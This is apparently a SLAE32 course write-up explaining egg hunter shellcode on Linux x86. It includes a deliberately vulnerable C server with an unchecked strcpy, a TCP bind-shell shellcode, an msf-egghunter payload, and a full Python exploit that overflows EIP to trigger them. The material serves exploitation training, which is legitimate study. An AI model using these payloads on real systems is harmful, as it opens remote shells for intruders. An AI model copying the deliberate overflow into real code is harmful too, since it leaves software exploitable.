Assignment N°3 - Egg Hunter (C)

Assignment Goals

SLAE32

This paper is part of the certification process following the SLAE32 course (x86 Assembly Language and Shellcoding on Linux) intended to prepare me to become a future certified OSCE.

If you are willing to pass the certification I really suggest you to wait until you finished your own certification process before reading that paper.

Why? the goal of that certification is to practice and learn how to solve each assignment by yourself. If you read this paper you will get spoiled and seriously oriented to my personal solution and take the risk to abuse of some shortcuts.

Student ID: SLAE-1530

  1. Study about the Egg Hunter shellcode.

  2. Create a working demo of the Egghunter.

  3. Should be configurable for different payloads.

What is an Egg Hunter Shellcode ?

Egg Hunting is a technique which is part of shellcoding and binary exploitation.

It is recommended to have a minimum knowledge about classic binary exploitation techniques and shellcoding to understand the whole concept.

It is also recommended to have solid basis about C programming in order to understand all demo codes in this paper.

An egg hunter is a very small piece of shellcode designed to find another shellcode in memory (usually a bigger one). To do so, it scans the whole process memory in search of a special pattern. This pattern is called an egg and is preceded from the the second and bigger shellcode. When an egg is found in memory, the egg hunter shellcode will redirect execution flow to the second one.

An egg is composed of 4 bytes (the size of a memory address in x86-32 processors) for example 0x44434241 (ABCD Little Endian). We generally repeat the egg once to avoid “collisions”.

Imagine if we choose ABCD as our egg, ABCD is a common string and we could find this pattern at multiple memory location but ABCDABCD less likely.

ABCD is not a good choice anyway since it is too common, even if we repeat it. It is important to choose something you don’t often see in programs and memory, for example egg! or 3gg!.

Throughout this paper we will use egg! (0x21676765) as the value of our egg, feel free to chose yours and adapt each pieces of code and commands.

When the egg hunter shellcode find the correct memory offset for second stage, it redirect execution flow to second shellcode. The offset (memory address) of the second shellcode is usually the offset of the egg location +8 bytes. (2x egg size).

We often use egg hunting technique when we lack of space for our real shellcode.

Imagine a TCP Bind Shell shellcode with a size of 150 bytes but the vulnerable program only have 60 bytes available for its buffer space. We would first write somewhere else in memory the bigger shellcode (our egg in addition of the TCP Bind Shell), then we would exploit the vulnerable buffer in executing our egg hunter shellcode to find and redirect execution flow to the TCP Bind Shell.

Understanding Egg Hunters

The best way to understand how egg hunters works is to create deliberately a vulnerable application.

We will use our TCP Bindshell shellcode (~224 Bytes) as final payload. 224 Bytes is quite huge for a shellcode, it is perfect to demonstrate the real use of egg hunters.

We will create a tiny server application with at least two methods, each method represent a stage during our exploitation, respectively:

First method (first stage) will create a child thread (with its own stack) and allow a client to store up to 1024 bytes in its stack. Imagine this method like something perfectly harmless to cache some data in memory before doing additional actions. This is the perfect location to store our TCP Bindshell shellcode.

Second method (second stage) will create another child thread and allow a client to store a string in an uncontrolled buffer. This method will be deliberately vulnerable to buffer overflow attack. This is where we will write and execute our egg hunter shellcode. When executed our egg hunter will attempt to locate the pattern of our second payload and redirect execution flow.

Finally for safety reasons, our server application will only listen for localhost clients.

Vulnerable Server Application (C)

/*
	Jean-Pierre LESUEUR (@DarkCoderSc)
	jplesueur@phrozen.io
	https://www.phrozen.io/
	https://github.com/darkcodersc

	License : MIT

	---

	SLAE32 Assignment 3 : Linux x86-32 Egg Hunter Research.

	---

	gcc egg-reallife.c -o egg-reallife -z execstack -no-pie -fno-stack-protector -pthread

	Warning: This C program is willingly vulnerable to buffer overflow which could led to remote code execution.
	         (!) Do not copy paste pieace of code without real caution (!)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <ctype.h>

/****************************************************************************************************

	Server Thread Child Thread: Egg Host (cmd=1) for phase n°1.

	In our scenario this would be phase n°1.

	Imagine CacheMe() as a perfectly secured function to cache some data in memory. We have can cache
	up to 1KiB of data per thread. Far sufficient to host our real shellcode payload.

****************************************************************************************************/
void *CacheMe(void *param) {
	int client = (int)param; 

	char buffer[1024]; // Buffer that will contain our future egg + shellcod

	// Waiting for data from client.
	int result = recv(client, buffer, sizeof(buffer), 0);
	if (result <= 0) {
		printf("Could not receive data from client.\n");
	} else
		printf("Buffer successfully filled with %d bytes of data.\n", result);	

	///
	close(client);
}

/****************************************************************************************************

	Server Thread Child Thread: Buffer Overflow Location (cmd=2) for phase n°2.

	In our scenario this would be phase n°2.

	Image ExploitMe() as a function vulnerable to buffer overflow but with a small buffer. 
	However it is sufficient to place our egg hunter shellcode here to locate our second and real shellcode
	payload.

****************************************************************************************************/
void *ExploitMe(void *param) {
	char feedback[60];
	char buffer[200];
	///

	int client = (int)param; 

	int result = recv(client, buffer, sizeof(buffer), 0);

	printf("Received %d bytes for feedback.");

	strcpy(feedback, buffer); // who cares about security? :-P
}

/****************************************************************************************************

	Server Thread

	This server accept two commands:
		1. Cache some data in child thread stack (memory).
		2. Write data to an uncontrolled buffer (In our scenario, a fake rating system).

****************************************************************************************************/
void *Server() {
	printf("Server thread has started.\n");

	/*
		Create a new socket
	*/
	int s = socket(AF_INET, SOCK_STREAM, 0);
	if (s == 0) {
		printf("Could not create socket");		
		
		pthread_exit(NULL);
	}

	printf("Socket created with handle:%d\n", s);

	/*
		Avoid error already in use.
	*/
	int optval = 1;
	int result = setsockopt(s, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &optval, sizeof(int));
	if (result == -1) {
		printf("Could not call setsockopt().");

		close(s);

		pthread_exit(NULL);
	}

	/*
		Bind socket to port.
	*/
	struct sockaddr_in saddr_in;

	saddr_in.sin_family      = AF_INET;
	saddr_in.sin_port        = htons(1403); // Listening on port 1403.
	saddr_in.sin_addr.s_addr = 16777343;    // Listenning on address 127.0.0.1.

	result = bind(s, (struct sockaddr*)&saddr_in, sizeof(struct sockaddr_in));
	if (result == -1) {
		printf("Could not bind socket.\n");

		close(s);

		pthread_exit(NULL);
	}
	printf("Socket successfully binded.\n");

	/*
		Start listening
	*/
	result = listen(s, 5);
	if (result == -1) {
		printf("Could not listen.\n");

		close(s);

		pthread_exit(NULL);
	}
	printf("Listening...\n");

	/*
		Wait for new clients to connect.
	*/	
	for (;;) {
		int client = accept(s, NULL, NULL);
		///

		if (client < 0)
			break;

		printf("New client connected our server with handle: %d\n", client);

		char cmd[1];		
		result = recv(client, cmd, sizeof(cmd), 0);
		if (result <= 0)
			continue;			

		if (!isdigit(*cmd)) {
			printf("Bad command format.\n");

			continue;
		}
		
		int icmd = atoi(cmd);

		printf("command=[%d]\n", icmd);

		pthread_t thread;	

		switch(icmd) {
			case 1: 
				pthread_create(&thread, NULL, CacheMe, (void *)client);

				break;
			case 2: 
				pthread_create(&thread, NULL, ExploitMe, (void *)client);

				break;

			default:
				close(client);
		}		
	}

	close(s);

	///
	pthread_exit(NULL);
}

/****************************************************************************************************

	Program Entry Point

****************************************************************************************************/
void main() {
	pthread_t thread;

	pthread_create(&thread, NULL, Server, NULL); // Create a new thread.

	pthread_join(thread, NULL); // Wait for thread to finish his task.	

	return;
}

We can compile and execute our server using bellow commands:

local@user# gcc egg-reallife.c -o egg-reallife -z execstack -no-pie -fno-stack-protector -pthread

local@user# sudo ./egg-reallife

Be sure ASLR is disabled on machine that host the vulnerable server.

TCP Bindshell shellcode require root privilege to bind on port 443. We must run our server as root.

By default, it will listen for incomming clients on port 1403, feel free to use your favorite port number.

16777343 is the translation of 127.0.0.1 and should not be changed.

Writing our exploit (Python)

At this point, you should have your own vulnerable server running and waiting for commands.

We will now focus on our exploit script.

We chose egg! as our egg pattern, feel free to use your own one but don’t forget to update exploit code consequently.

Generate an Egg Hunter using msf-egghunter

This step requires Metasploit Framework which comes with msg-egghunter.

We can create our Egg Hunter shellcode using the following command:

local@user# msf-egghunter -f python -e egg! -v egg_hunter -p linux -a x86

Option -v is used to name our python variable that host the shellcode.

Result

egg_hunter =  b""
egg_hunter += b"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd"
egg_hunter += b"\x80\x3c\xf2\x74\xf1\xb8\x65\x67\x67\x21\x89"
egg_hunter += b"\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

Prepare our Shellcode (TCP Bindshell)

Remember, we must write two times our egg pattern before the shellcode itself.

Our pattern egg! encoded in hex (Little Endian) equal to \x65\x67\x67\x21

Result

# Prefixed by our egg token "egg!egg!".
shellcode =  b""
shellcode += b"\x65\x67\x67\x21" # egg!
shellcode += b"\x65\x67\x67\x21" # egg!

# Shellcode payload (TCP Bindshell port 443)
shellcode += b"\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2"
shellcode += b"\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83"
shellcode += b"\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6"
shellcode += b"\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02"
shellcode += b"\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66"
shellcode += b"\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2"
shellcode += b"\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10"
shellcode += b"\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0"
shellcode += b"\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0"
shellcode += b"\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66"
shellcode += b"\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9"
shellcode += b"\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73"
shellcode += b"\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec"
shellcode += b"\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80"

Write our TCP Bindshell shellcode to target process memory.

After opening a new connection to target process, we will send our TCP Bindshell shellcode (shellcode variable) using command N°1 \x31.

This will place our shellcode somewhere in target process memory.

Exploiting Buffer Overflow

This part is not covered in detail, we consider your are already familiar with exploiting buffer overflows.

Required steps (with help of GDB) are:

  • Find EIP offset.
  • Confirm if we control EIP.
  • Find possible bad chars (Not required in this case).
  • Find max size for our payload.
  • Create our payload. NOP sled + Egg Hunter shellcode.
  • Identify a stack address that point in the middle of our NOP sled.
  • Overwrite EIP with this stack address.

When final payload is ready we will open a new connection to target process, this time with command N°2 \x32. This will exploit the buffer overflow and execute our Egg Hunter shellcode, after few seconds our TCP Bindshell should be available on port 443.

Final Code

#!/usr/bin/python3

'''
	Jean-Pierre LESUEUR (@DarkCoderSc)
	jplesueur@phrozen.io
	https://www.phrozen.io/
	https://github.com/darkcodersc

	License : MIT

	---

	SLAE32 Assignment 3 : Linux x86-32 Egg Hunter Research.

	---

	Description:
		This is the full working (LOCAL) exploit code for egg-reallife.c program to demonstrate our
		egg hunter is applied to real life situation.
'''

from socket import *
import sys
import time
import struct

#
# Log Defs
#
def success(message):
    print("[\033[32m+\033[39m] " + message)

def fail(message):
    print("[\033[31mx\033[39m] " + message)

def warn(message):
    print("[\033[34m!\033[39m] " + message)

def info(message):
    print("[\033[34m*\033[39m] " + message)

#
# Payload 1 : cat /etc/passwd.
#

# Prefixed by our egg token "egg!egg!".
shellcode =  b""
shellcode += b"\x65\x67\x67\x21" # egg!
shellcode += b"\x65\x67\x67\x21" # egg!

# Shellcode payload (TCP Bindshell port 443)
shellcode += b"\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2"
shellcode += b"\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83"
shellcode += b"\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6"
shellcode += b"\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02"
shellcode += b"\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66"
shellcode += b"\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2"
shellcode += b"\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10"
shellcode += b"\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0"
shellcode += b"\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0"
shellcode += b"\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66"
shellcode += b"\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9"
shellcode += b"\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73"
shellcode += b"\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec"
shellcode += b"\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80"

#
# Payload 2 : Egg Hunter.
# Generated with msf-egghunter -f python -e egg! -v egg_hunter -p linux -a x86
#
egg_hunter =  b""
egg_hunter += b"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd"
egg_hunter += b"\x80\x3c\xf2\x74\xf1\xb8\x65\x67\x67\x21\x89"
egg_hunter += b"\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

#
# Networking Function
#
def SubmitPhasePayload(cmd, payload):
	s = socket(AF_INET, SOCK_STREAM)

	if (s.connect_ex((LHOST, LPORT)) == 0):
		success(f"Successfully connected to {LHOST}:{LPORT}.");

		# Send command n°1 (cache data in memory)

		info(f"Send command = {cmd}");

		s.send(cmd);

		info("Wait 2 seconds...");

		time.sleep(2);

		info("Send payload stage.");

		s.send(payload);

		success("Payload successfully sent.")

		s.close(); # Gracefully close connection.	

		return True
	else:
		fail(f"Could not connect to {LHOST}:{LPORT}");	

	return False


#
# Exploitation
#
LHOST = "127.0.0.1"
LPORT = 1403

info("Phase n°1: Sending shellcode to target server memory.")
if (SubmitPhasePayload(b"\x31", shellcode)):
	success("Phase n°1 : Success.")

	info("Phase n°2: Exploiting buffer overflow and sending egg hunter shellcode.")

	#
	# Create buffer overflow payload.
	#
	payload =  b""
	
	# (+): Locate EIP Offset.
	# pattern_create.rb -l 250
	#payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0".encode('ascii')
	#payload += "Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A".encode('ascii')
	#payload += "e2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3".encode('ascii')
	#payload += "Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A".encode('ascii')
	# (+): Result = pattern_offset.rb -q "6Ac7"(offset=80)

	eip_offset = 80

	# (+): Test if we control EIP.
	#payload += b"\x41" * eip_offset
	#payload += b"\x42" * 4
	# (+): Yes we did. 0x42424242 is in EIP.

	# (+): Place and execute our egghunter shellcode.
	nop_sled_size = (eip_offset - len(egg_hunter))

	payload += b"\x90" * nop_sled_size       # NOP Sled.
	payload += egg_hunter                    # Our egghunter shellcode goes here.
	payload += b"\x1c\xe3\xbf\xb6"           # Stack address, ASLR must of course be disabled! Little Endian.
	# (+): If correctly configured, shellcode should get triggered.

	if (SubmitPhasePayload(b"\x32", payload)):
		success("Phase n°2 : Success.");
		info("Please wait few seconds until egghunter shellcode trigger the other one...");
	else:
		fail("Phase n°2 : Failed.")
else:
	fail("Phase n°1 : Failed.")

Test Me

user@local# chmod +x exploit.py && ./exploit.py

Result

Example

Afterword

Code files are available in the following Github repository:

https://github.com/DarkCoderSc/slae32-egghunters

Bonus

In bonus you will find two additional applications to understand more deeply how egg hunters works using C programming language.

Bonus 1 : Egg Hunter Principle applied to C (No Code Execution).

This program demonstrate how to retrieve data from memory using access() memory scanning method. access() is probably the most famous and used technique for creating efficient Egg Hunters.

You will find the full code at this address : https://github.com/DarkCoderSc/slae32-egghunters/blob/master/egg-principle.c

Access Memory Scanning in C

_Bool egg_hunt(unsigned int *ptr, char *egg_name, _Bool access_chk) {
	_Bool access_violation = 0;
	if (access_chk) {
		access_violation = ((access((char *) ptr, F_OK) == -1) && (errno == EFAULT));
	}

	if (!access_violation) {
		char addr[9];

		snprintf(addr, sizeof(addr), "%08x", *ptr);

		if (strcmp(addr, egg_name) == 0) {			
			return 1;
		}
	}

	///
	return 0;
}

unsigned int egg_hunter() {
	unsigned int max_page = (pow(2, 32) / page_size); 
	unsigned int page_cursor = 0;
	unsigned int mem_cursor = 0;		
	_Bool found = 0; 
	
	for (unsigned int i = 0; i < max_page; i++) {
		page_cursor = (i * page_size);
		///

		if ((access((char *) page_cursor, F_OK) == -1) && (errno == EFAULT)) {
			continue;
		} else {		
			for (unsigned int n = 0; n < (page_size -3); n++) {
				mem_cursor = (page_cursor + n);
				///

				unsigned int *ptr = (unsigned int *) mem_cursor; 
			
				if (egg_hunt(ptr, egg, 0)) {								
					ptr++;
					///

					if (egg_hunt(ptr, egg, 1)) {
						ptr++;
						///						

						return (unsigned int) ptr;						
					}
				}
			}
		}
	}

	///
	return 0;
}

Bonus 2 : Egg Hunter Principle applied to C (Code Execution).

This time, instead of just retrieving data from memory, when our scanner find the Egg pattern in memory it will redirect execution flow to it address.

The shellcode used in this program will print content of /etc/passwd file.

You will find the full code at this address : https://github.com/DarkCoderSc/slae32-egghunters/blob/master/egg-shellcode-embedded.c

comments powered by Disqus